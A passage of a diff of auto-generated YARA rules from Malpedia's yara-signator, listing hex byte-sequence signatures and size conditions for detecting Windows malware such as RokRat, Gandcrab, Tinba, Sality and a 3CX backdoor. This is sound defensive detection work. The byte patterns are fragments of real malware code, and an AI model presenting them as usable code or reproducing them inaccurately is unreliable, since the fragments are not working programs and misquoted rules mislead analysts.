"aebd9f3ce681adad20f8842dd1ad147a46f77997d7d0dde94d3c3be1cf2f594d" + logic_hash = "3337814c1f32071db01b4a02df38137e3cc930cfdb33776a0eb841a83537dbda" score = 75 quality = 75 tags = "FILE" @@ -143135,32 +142989,32 @@ rule MALPEDIA_Win_Jackpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945e4 83f805 7d10 668b4c4310 66890c45f8124200 40 ebe8 } - $sequence_1 = { 57 8bf8 8b450c 397518 0f86a4000000 8b4508 83c008 } - $sequence_2 = { 8b7508 56 c745fc04000000 e8???????? 83c404 837e7010 } - $sequence_3 = { d1ff 57 8b7d14 57 } - $sequence_4 = { c60700 80780100 7e04 40 8945c4 8a00 3c7f } - $sequence_5 = { 8b10 83c40c 51 52 8d4594 50 } - $sequence_6 = { 03c9 51 8b4df8 8d1459 52 e8???????? 8b4614 } - $sequence_7 = { 85db 0f86f8000000 57 8b7e14 } - $sequence_8 = { ff15???????? 6aff 6a00 8bc6 8bcb e8???????? } - $sequence_9 = { c645fc01 50 c745f001000000 e8???????? c745fc02000000 bb03000000 57 } + $sequence_0 = { ffd6 0faff8 ffd6 0faff8 } + $sequence_1 = { ffd6 0faff8 8d3c7f ffd6 } + $sequence_2 = { 740f 3ccf 740b 34cf } + $sequence_3 = { ffd6 03f8 ffd6 8bd8 ffd6 0fafd8 } + $sequence_4 = { ffd6 03f8 8d3c7f ffd6 } + $sequence_5 = { 8bf8 ffd6 0faff8 8d3c7f ffd6 } + $sequence_6 = { 7513 6a64 ff15???????? 68???????? ff15???????? } + $sequence_7 = { 8bf8 ffd6 0faff8 8d3c7f } + $sequence_8 = { ffd6 8bf8 ffd6 0faff8 8d3c7f ffd6 } + $sequence_9 = { ffd6 8bf8 ffd6 0faff8 8d3c7f } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Rokrat_Auto : FILE +rule MALPEDIA_Win_Highnote_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "72ccb458-56ca-5321-9a37-7df4cd9fbcb3" + id = "b0d28496-8673-59fb-b567-198b148df4f3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rokrat_auto.yar#L1-L158" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.highnote_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "5cd57f30b8bc2958324b2df203589daea09f2ea7985ac5d6acd0baa6db2468f2" + logic_hash = "7cacc14b2d0dfaf54710df19550a1288a5ab7f5eb6146a6937a043c66ae24b0f" score = 75 quality = 75 tags = "FILE" @@ -143174,38 +143028,32 @@ rule MALPEDIA_Win_Rokrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 6a04 33c0 } - $sequence_1 = { 668945c0 e8???????? c645fc03 8b45bc } - $sequence_2 = { 50 e8???????? 6a10 33c0 } - $sequence_3 = { 50 e8???????? 8d8e0c010000 8d4550 3bc8 } - $sequence_4 = { 0fb7c1 50 0fb74208 c1e910 51 50 0fb74212 } - $sequence_5 = { 50 ff15???????? e8???????? 40 } - $sequence_6 = { 50 e8???????? 6a18 33c0 } - $sequence_7 = { 68???????? e8???????? 837e1408 7204 8b06 eb02 8bc6 } - $sequence_8 = { 50 e8???????? 8d8edc000000 8d4520 } - $sequence_9 = { ff15???????? 50 e8???????? 59 6a64 } - $sequence_10 = { 897dfc e8???????? 68???????? 8d4dd8 e8???????? } - $sequence_11 = { 89442410 7e34 8d9b00000000 56 } - $sequence_12 = { 89442410 807c244400 7558 85db 7454 68d3010000 } - $sequence_13 = { 89442410 80f925 0f859d030000 3808 } - $sequence_14 = { 89442410 7c7c 8b7758 8b9f8c000000 81c630010000 } - $sequence_15 = { 89442410 7e19 68110b0000 68???????? } + $sequence_0 = { 3c7b bc9e36398f 8027e9 82ad42476080cd e009 } + $sequence_1 = { 47 365e 3007 7bae 97 9d 884d13 } + $sequence_2 = { a8b9 a1???????? 9c 6857414608 d4dc 59 93 } + $sequence_3 = { 33c5 8945fc 8b4508 53 6808090000 8945e4 e8???????? } + $sequence_4 = { 4f 59 7def 889de81be9ec b96b0b724f 262415 3a1f } + $sequence_5 = { 0e ed 47 6908b79d84b8 6935????????3e1f20f8 4a d14529 } + $sequence_6 = { e76e a9a4fec7f3 1b90bff8ccdd b1e4 f7f4 } + $sequence_7 = { 0f85dc000000 b763 42 20ce e04b 2bea } + $sequence_8 = { 1cfe 5f 3d4b9c06b4 12a4c5ea7849d5 ba7ab47152 1c98 d24cdca8 } + $sequence_9 = { 3cff 145d 853e 235ee7 } condition: - 7 of them and filesize < 2932736 + 7 of them and filesize < 321536 } -rule MALPEDIA_Win_Gandcrab_Auto : FILE +rule MALPEDIA_Win_Urausy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5425f9cd-8fb4-510e-a39f-093e7eb655d2" + id = "1beffaf4-c79f-5031-ba16-920ad7ce2336" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gandcrab_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.urausy_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "65a176078bb1690a98a0fbd0a289d5aa1233664bdaee132644de05bfc651c8a8" + logic_hash = "8b8a7bd5c9e36633624e07a893f13b5d5c82edf3b42773503b98b1177601ac24" score = 75 quality = 75 tags = "FILE" @@ -143219,32 +143067,32 @@ rule MALPEDIA_Win_Gandcrab_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 03c3 8d5e04 03d8 837f4800 741b ff7750 ff15???????? } - $sequence_1 = { ff777c ff15???????? ff7778 8bf0 ff15???????? } - $sequence_2 = { ff15???????? ff7728 8bf0 ff15???????? 03c3 8d5e04 } - $sequence_3 = { ff15???????? 03c3 8d5e04 03d8 837f3000 } - $sequence_4 = { ff15???????? ff7734 8bf0 ff15???????? 03c3 8d5e04 } - $sequence_5 = { 03c3 8d5e04 03d8 837f3000 741b } - $sequence_6 = { 5f 66894c46fe 8bc6 5e } - $sequence_7 = { ff15???????? ff7778 8bf0 ff15???????? 03c3 } - $sequence_8 = { ff15???????? 03c3 8d5e04 03d8 837f3c00 741b ff7744 } - $sequence_9 = { 741b ff777c ff15???????? ff7778 8bf0 } + $sequence_0 = { ff7508 e8???????? 8945ec ff7514 e8???????? 8945e8 } + $sequence_1 = { ff75a0 ff75ec e8???????? 33c0 b4ff b0ff c1c008 } + $sequence_2 = { e8???????? 5e 6a00 6a00 6a00 } + $sequence_3 = { ff7594 ff7598 ff75ec e8???????? 33c0 } + $sequence_4 = { 6a28 ff75e4 ff75e8 6802000050 68???????? 68???????? 6800000400 } + $sequence_5 = { e8???????? 53 e8???????? 8d85f8fdffff } + $sequence_6 = { ff75e8 e8???????? c9 c21000 55 8bec 81c4ecefffff } + $sequence_7 = { 8b4508 50 8b00 ff5018 8d45e0 } + $sequence_8 = { 83c4e8 833d????????01 7504 c9 } + $sequence_9 = { e8???????? c9 c20400 55 8bec 83c4e8 8d45f0 } condition: - 7 of them and filesize < 1024000 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Runningrat_Auto : FILE +rule MALPEDIA_Win_Mirrorkey_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7ed2390-7d31-581c-a1e4-fdb77337ca48" + id = "23fdf476-29dd-5c48-a2d0-67c951326855" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.runningrat_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirrorkey_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "4ddbc260dd07c2863631004b7f152c53ea1c57a6d19004876f01cbe090f0559f" + logic_hash = "23c2e6c1488c0365d27087d2deccf67b069663ff42f157533379a432751ee152" score = 75 quality = 75 tags = "FILE" @@ -143258,37 +143106,32 @@ rule MALPEDIA_Win_Runningrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 ff15???????? 56 ff15???????? 8b8c2418010000 } - $sequence_1 = { 891481 ff4608 e9???????? 83fa12 750a c744242c07000000 eb07 } - $sequence_2 = { 5d 83c408 c3 8b442434 8b4c242c 56 } - $sequence_3 = { dec1 dee9 def9 dc0d???????? } - $sequence_4 = { 50 03cb 51 e8???????? 8b542428 0fb74206 47 } - $sequence_5 = { f3a4 ff15???????? 5f 5e 5d 33c0 } - $sequence_6 = { 8b4764 50 e8???????? 33c0 83c404 8bcf 894764 } - $sequence_7 = { 03c8 40 8a0c29 884c03ff 8b4e04 } - $sequence_8 = { 8be8 83c404 83fdfd 7515 } - $sequence_9 = { 8dbc24a4010000 f3ab 8d8c2408020000 51 } - $sequence_10 = { 83c204 89542420 3bce 741f 8b948c8c000000 8b9c242c010000 } - $sequence_11 = { 6a00 6a00 8b82a8000000 50 68???????? 6a00 } - $sequence_12 = { 50 e8???????? 8b5644 68a2aedeac 68ce9a32f7 68c9600000 52 } - $sequence_13 = { 7336 8d642400 837c241c00 0f84cc020000 0fb613 ff4c241c } - $sequence_14 = { 8bd1 83e201 d1e9 895618 83f903 0f8761060000 } + $sequence_0 = { 56 8d4db8 c745cc0f000000 c745c800000000 c645b800 } + $sequence_1 = { 50 68???????? 53 c745a400000000 e8???????? 0fbe4317 8d4da8 } + $sequence_2 = { 8b06 eb02 8bc6 c60000 c745fc00000000 8bce a1???????? } + $sequence_3 = { 7406 8a740608 eb03 8a76fc 85c0 752f } + $sequence_4 = { 88442433 8d7808 0f1f440000 53 } + $sequence_5 = { 50 e8???????? ff75fc 8d45fc ff75f8 50 } + $sequence_6 = { 8b85f4feffff 33f6 3930 7446 33db } + $sequence_7 = { 56 ff15???????? 5f 5e c7430400000000 } + $sequence_8 = { 32d3 2503000080 7905 48 } + $sequence_9 = { 85c0 7405 8a0c06 eb03 8a4ef4 } condition: - 7 of them and filesize < 275456 + 7 of them and filesize < 117760 } -rule MALPEDIA_Win_Netkey_Auto : FILE +rule MALPEDIA_Win_Play_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d0a2d0e1-28d1-5f88-b1cb-dda359954bd2" + id = "fb8bcd82-2890-51e9-aef7-15cdb7334359" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netkey_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.play" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.play_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "daf69a83c7310935a12c421c94563aee301c2dd28fd19c71dd25e72dc29acd85" + logic_hash = "98ed430384a69d155a8a3b8add1f6db92e55c318ad1d4defbfbdd225c9837ee9" score = 75 quality = 75 tags = "FILE" @@ -143302,32 +143145,32 @@ rule MALPEDIA_Win_Netkey_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bca 0fa4c103 c1e003 03f0 13d1 0fa4f202 c1e602 } - $sequence_1 = { 786d 8b4d08 8bd6 e8???????? 85c0 } - $sequence_2 = { 83fa03 7511 8b45fc 8b0c85a8214400 8a06 } - $sequence_3 = { 83c40c 8d85f0dfffff 6800080000 50 6a00 56 ff15???????? } - $sequence_4 = { 83e10f eb02 33c9 8b450c 0fb684c8b02e4300 c1e804 } - $sequence_5 = { 05b0407c05 3146e8 8b4714 059ea0eb01 3146ec 8b4718 05???????? } - $sequence_6 = { 8b95b4efffff 46 8985f8efffff 8bc2 c1e802 40 3bf0 } - $sequence_7 = { e8???????? 51 e8???????? a3???????? 85c0 7974 } - $sequence_8 = { 8bc1 c1f806 83e13f 6bc930 8b0485a8214400 80640828fe ff36 } - $sequence_9 = { 3a4801 751c 83c702 83c002 84c9 75e4 } + $sequence_0 = { 85c9 7ff1 eb1d 8d85b1feffff 03c1 50 } + $sequence_1 = { 0f1005???????? 8945ac b854040000 6689856cffffff b8e0690000 0f114588 052496ffff } + $sequence_2 = { 898518feffff b879180000 0f118594feffff 898534ffffff f30f7e05???????? a1???????? 660fd68500ffffff } + $sequence_3 = { 02c0 02c2 888596feffff b9???????? e8???????? 8a85acfeffff } + $sequence_4 = { 8a857cfcffff fec0 c745e43d000000 0245fd 8845ff 888521ffffff b83e000000 } + $sequence_5 = { bbb410624c 8b0d???????? e8???????? 6aff ff75e8 ffd0 } + $sequence_6 = { e8???????? 33d2 8b4df4 f7f6 8bc2 8945e4 } + $sequence_7 = { 8955f8 894dfc e8???????? 8b0d???????? 33d2 } + $sequence_8 = { 889591feffff 888dc9feffff 888d81feffff b920000000 c60000 } + $sequence_9 = { e8???????? 2467 0fa1 ee d5d8 e9???????? 8c9f381b40b1 } condition: - 7 of them and filesize < 606208 + 7 of them and filesize < 389120 } -rule MALPEDIA_Win_Merdoor_Auto : FILE +rule MALPEDIA_Win_Tinba_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "840879eb-651f-58a0-a9dd-c8bbbd75be85" + id = "e9e77c24-46b9-5cf7-a828-2a850fe6f2a6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.merdoor_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinba_auto.yar#L1-L142" license_url = "N/A" - logic_hash = "6ad90da4b59952ca06b1d837955ca9f12c104be55324a03e7aaa640c9c01019a" + logic_hash = "374a170ff41ebad47f064bc534bfadb5eb7ba02780fab8542e6fa86bf64ae9a3" score = 75 quality = 75 tags = "FILE" @@ -143341,32 +143184,35 @@ rule MALPEDIA_Win_Merdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41 0fb7c0 47 663102 83c202 6683f908 72cf } - $sequence_1 = { e8???????? 83c40c 8934fd78f30110 eb07 56 e8???????? 59 } - $sequence_2 = { 5d c20400 c7875404000001000000 8b07 } - $sequence_3 = { 8d4590 50 8d45a4 50 ff15???????? } - $sequence_4 = { 75f9 2bca 51 8d85acfeffff 50 8d8d7cfcffff e8???????? } - $sequence_5 = { b91a000000 f7f9 80c261 eb10 e8???????? 99 } - $sequence_6 = { e8???????? 8987e4020000 c645fc02 8d55c0 b8fe000000 c745c0a3008d00 33c9 } - $sequence_7 = { 8dbb78030000 c785dcfdffff01000000 7204 8b07 eb02 8bc7 } - $sequence_8 = { e8???????? 8987e4020000 c645fc02 8d55c0 b8fe000000 c745c0a3008d00 } - $sequence_9 = { 8b7310 8d4310 8b11 51 50 8d4508 } + $sequence_0 = { 8b7508 ad 50 56 } + $sequence_1 = { 8b4510 aa 8b450c ab } + $sequence_2 = { 6a00 6a00 ff750c 6a00 6a00 ff7508 } + $sequence_3 = { 8a241f 88240f 88041f 41 } + $sequence_4 = { 7416 66b80d0a 66ab b8436f6f6b ab b869653a20 } + $sequence_5 = { 7437 b912000000 48 8d3db0010000 807a180f } + $sequence_6 = { 72ee 87ce 89f8 29ce f3a4 29fe } + $sequence_7 = { bb0a000000 31d2 f7f3 52 41 } + $sequence_8 = { 3c0a 7304 0430 eb02 0437 aa c14d0804 } + $sequence_9 = { 40 eb12 ff7514 ff7510 ff750c } + $sequence_10 = { 85c0 741b 66b80d0a 66ab b855736572 } + $sequence_11 = { 8d7a33 f6c304 740a 834a3540 66a5 } + $sequence_12 = { 8b0e 3b4d10 7603 8b4d10 51 57 ff750c } condition: - 7 of them and filesize < 307200 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Aytoke_Auto : FILE +rule MALPEDIA_Win_Naikon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c3996e13-6441-5e12-8e21-a4d953c38877" + id = "1a371971-3c14-5c5c-93ec-3bfac331df93" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aytoke_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.naikon_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "0f3d6db514704761aece6f3ecc8a4a906e89108d57be9f7f2ba95aab9464ffc7" + logic_hash = "83032b5030b393c588ce5d94661092c796ec6d6ab26688f2a44eab055633535d" score = 75 quality = 75 tags = "FILE" @@ -143380,32 +143226,32 @@ rule MALPEDIA_Win_Aytoke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b450c 8b4d10 56 57 8b7d08 8d95dcfbffff } - $sequence_1 = { a1???????? 8b0d???????? 8b15???????? 8985a8f9ffff } - $sequence_2 = { ffd2 8b8594f9ffff 50 ff15???????? } - $sequence_3 = { 4d 4d 0b0c0d0e0f1011 1213 1415 } - $sequence_4 = { 7407 c6854feeffff01 6a14 ff15???????? 6890000000 ffd3 } - $sequence_5 = { 83c414 8d45c8 48 8a4801 40 } - $sequence_6 = { 881438 46 47 ebd7 8b8dd8fbffff } - $sequence_7 = { 8d55ec 52 b902000000 56 8945f0 66894dec ff15???????? } - $sequence_8 = { 4d 4d 0b0c0d0e0f1011 1213 1415 16 17 } - $sequence_9 = { 8bc6 c1f805 8b048500c44100 83e61f c1e606 8d443004 } + $sequence_0 = { 8bf8 59 3bfb 59 741d 8b06 2bc7 } + $sequence_1 = { eb05 397df8 7415 8d45f0 } + $sequence_2 = { 8975c4 8945b0 8b450c 8945bc 03f0 8b45e4 8b4f6c } + $sequence_3 = { 53 50 e8???????? 6a04 8d85f8fdffff 68???????? 50 } + $sequence_4 = { 8b06 03c3 68???????? 50 e8???????? 68???????? e9???????? } + $sequence_5 = { 03c8 83c00c 8903 8d45d8 6a0c 50 ff750c } + $sequence_6 = { e8???????? ff75fc e8???????? 83c414 eb02 33db } + $sequence_7 = { 6a10 68???????? e9???????? 6a00 ff75fc 53 8d853cffffff } + $sequence_8 = { 8b00 52 53 53 8b4010 } + $sequence_9 = { 838e90000000ff 8dbe8c000000 85c0 740a 50 ff15???????? } condition: - 7 of them and filesize < 425984 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Dustman_Auto : FILE +rule MALPEDIA_Win_Mariposa_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "371d6ab3-949b-5c9d-8033-67b6c55ea566" + id = "2a3a2192-1985-5afb-a3c8-457f3f4c729c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dustman_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mariposa_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "b063597b5a4ae400c5fb648bc847f945a242473e9377f95d15455828ca13e94a" + logic_hash = "343ac33f57cd9cc9bfc1841bf1bd211734de245f417ee554220587a46ed4086f" score = 75 quality = 75 tags = "FILE" @@ -143419,32 +143265,32 @@ rule MALPEDIA_Win_Dustman_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bd9 4c8d0dedb20000 b902000000 4c8d05d9b20000 } - $sequence_1 = { 884810 488b4d88 0fb60c01 884811 488b4d90 0fb60c01 884812 } - $sequence_2 = { c3 488d055d954101 c3 488d054d954101 c3 } - $sequence_3 = { 4c8d9db1010000 4903cb 48894d88 488bca 492bca } - $sequence_4 = { 4d8be1 498be8 4c8bea 4b8b8cfe40c80100 4c8b15???????? 4883cfff } - $sequence_5 = { 492bca 4c8d9dc4010000 4903cb 48894d20 488bca 492bca 4c8d9dc5010000 } - $sequence_6 = { c4c173590cc1 4c8d0d05750000 c5f359c1 c5fb101d???????? c5fb102d???????? c4e2f1a91d???????? c4e2f1a92d???????? } - $sequence_7 = { 0fb68525020000 48c1e028 4c0bd0 0fb68526020000 48c1e030 4c0bd0 0fb68527020000 } - $sequence_8 = { e8???????? 4883f8ff 7524 ff15???????? 488d4c2420 } - $sequence_9 = { e9???????? 4d8bb4f6d0320100 33d2 498bce 41b800080000 } + $sequence_0 = { 55 8bec 53 56 bb???????? 43 } + $sequence_1 = { ffd3 33c0 50 e8???????? 33c0 } + $sequence_2 = { 53 56 bb???????? 43 } + $sequence_3 = { 885c0cff e2f1 ba???????? 2bd6 8bdc 03da 4b } + $sequence_4 = { 8a1c0e 02d8 32dc fec0 885c0cff e2f1 } + $sequence_5 = { 8bdc 03da 4b 54 ffd3 33c0 } + $sequence_6 = { 885c0cff e2f1 ba???????? 2bd6 } + $sequence_7 = { 8a4301 8a6302 f6d0 02c4 d0f8 8a1c0e } + $sequence_8 = { 53 56 bb???????? 43 803b00 } + $sequence_9 = { 03da 4b 54 ffd3 33c0 } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 311296 } -rule MALPEDIA_Win_Pillowmint_Auto : FILE +rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3853669a-e086-5b11-9aa7-48869422e9e3" + id = "c8c4fb8e-665a-53b6-8b3e-37d64668f35c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pillowmint_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.3cx_backdoor_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "4bf5c67c89e02047a57c78ccb54899d23f365f779797116ee014480492b0b534" + logic_hash = "1c7c6f3ffb80a119e6e9a09aa255f11daa8a6a0cadae64c0d2cee6a1f6aea1e9" score = 75 quality = 75 tags = "FILE" @@ -143458,34 +143304,34 @@ rule MALPEDIA_Win_Pillowmint_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48c7442460feffffff 48895808 48897018 48897820 488b05???????? 4833c4 488985d0000000 } - $sequence_1 = { 488b8c24a0000000 e8???????? 48c78424b80000000f000000 4889bc24b0000000 c68424a000000000 4883bc24d800000010 720d } - $sequence_2 = { 7534 8b461c 0fb713 498d0c01 4181f8b80a4c53 7509 448b3491 } - $sequence_3 = { e8???????? 488b4608 488d3d68fb2200 488b80f8000000 488bdf bd10000000 c605????????00 } - $sequence_4 = { 488d4c2468 e8???????? 90 4c8d05360f0300 488bd0 488d8c24c0000000 e8???????? } - $sequence_5 = { 498bc5 482bc1 483bc2 7305 488bd7 eb03 4803d1 } - $sequence_6 = { 0fbe00 8d0480 8d80effeffff 8d0442 83f81e 0f8730010000 } - $sequence_7 = { e8???????? 8985c0000000 488d95c0000000 e8???????? 4885c0 0f853e040000 488b05???????? } - $sequence_8 = { 90 4c8d051c170300 488bd0 488d4dd8 e8???????? 90 4983c9ff } - $sequence_9 = { 4883c708 48833b00 75a9 418b4620 4983c614 85c0 0f8579ffffff } + $sequence_0 = { 4c8d442420 488d4d98 e8???????? 488bf8 488d542478 498bce e8???????? } + $sequence_1 = { 488b4d8f 4c8d05b77c0300 41b920000000 c744242000000000 488d15c27c0300 ff15???????? } + $sequence_2 = { 41b8ffffffff 488bd6 ff15???????? ba25000000 8d4a1b } + $sequence_3 = { 0f87ff010000 c1e60a 81c60024a0fc 03f0 eb11 8d860024ffff } + $sequence_4 = { 488bd7 498bcd e8???????? 498bc4 4c8d5c2450 498b5b40 } + $sequence_5 = { 488d0547ac0100 4a8b04f8 42f644e83801 7515 e8???????? c70009000000 e8???????? } + $sequence_6 = { 7424 488b4308 44386019 7515 6690 483b5810 750d } + $sequence_7 = { 488bc8 e8???????? 4889751f 4889752f 48897537 } + $sequence_8 = { e8???????? 85c0 0f85cd100000 e9???????? 4c8d050bae0000 ebdb 4c8d05faad0000 } + $sequence_9 = { 83b96804000002 0f8406020000 bd20000000 4c8d35e1510100 488b4310 } condition: - 7 of them and filesize < 4667392 + 7 of them and filesize < 585728 } -rule MALPEDIA_Win_Loup_Auto : FILE +rule MALPEDIA_Win_Sality_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1404f79d-5679-58f8-95e7-ea2d681e99b9" + id = "491e3727-8d5f-59a5-be7f-6df769a7e7b0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.loup_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sality" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sality_auto.yar#L1-L222" license_url = "N/A" - logic_hash = "01fac51b45c233a343e6af089564cab69dab8dfa8648336955517c666022b803" + logic_hash = "69c1f81399935d5f7c9bd23257cd0c140ba6f95de6444c6618514cda674397de" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -143497,32 +143343,46 @@ rule MALPEDIA_Win_Loup_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4508 50 8d8de0fbffff 51 8d95f0fdffff 52 } - $sequence_1 = { 668945e8 33c0 668945ea c745ee01000000 b804000000 } - $sequence_2 = { 8d15341a4100 e8???????? 58 5a 5f 5e } - $sequence_3 = { 33c5 8945fc b9???????? e8???????? c745c000000000 c745b400000000 } - $sequence_4 = { c784055cffffff01000000 8d855cffffff 8945d5 8bf4 6a03 } - $sequence_5 = { 7709 8b048514824100 5d c3 33c0 } - $sequence_6 = { c705????????01000000 b904000000 6bd100 c78264a1410002000000 b804000000 6bc800 } - $sequence_7 = { a1???????? 8985c4fbffff 8b0d???????? 898dc8fbffff 8b15???????? } - $sequence_8 = { 668945e8 33c0 668945ea c745ee01000000 } - $sequence_9 = { 51 e8???????? 85c0 7513 8b45f4 50 e8???????? } + $sequence_0 = { 81f201a00000 668955f8 eb0b 668b45f8 66d1e8 668945f8 } + $sequence_1 = { 6a67 e8???????? 83c410 8b4dfc 03c8 894dfc } + $sequence_2 = { 51 ff15???????? e9???????? 68581b0000 } + $sequence_3 = { 51 ff15???????? eb14 8d95f0fdffff } + $sequence_4 = { 81ec88010000 57 c78578feffff00000000 c685fcfeffff00 b940000000 33c0 8dbdfdfeffff } + $sequence_5 = { 6a66 e8???????? 83c410 8b55fc 03d0 8955fc eb37 } + $sequence_6 = { 0f8447010000 d1ea 7307 4e } + $sequence_7 = { 51 ff15???????? e8???????? 25ffff0000 } + $sequence_8 = { 7513 8bc2 83e804 8b00 8906 } + $sequence_9 = { 8920 896804 8d9dba114000 895808 } + $sequence_10 = { 035c240c 33c0 8b3b 037c240c 8b742410 } + $sequence_11 = { 8bf2 8bf8 50 ff95c5144000 8bc8 f3a6 61 } + $sequence_12 = { 52 ff953a144000 e8???????? 8907 } + $sequence_13 = { 646789260000 8b74240c 66813e4d5a 0f858c000000 03763c 813e50450000 } + $sequence_14 = { 8b7c2410 b996000000 32c0 f2ae 8bcf } + $sequence_15 = { 59 83c304 40 3b4218 75e2 3b4218 } + $sequence_16 = { 010d???????? 83c004 5f 5e } + $sequence_17 = { 00fb fb 804880bc 280d???????? } + $sequence_18 = { 0306 50 8b4e04 8d5608 } + $sequence_19 = { 0306 50 8d5604 e8???????? } + $sequence_20 = { 0007 7307 c607ff 8ac1 } + $sequence_21 = { 014304 c3 53 56 } + $sequence_22 = { 0202 7466 0fb77202 8b7a04 } + $sequence_23 = { 031e ff7608 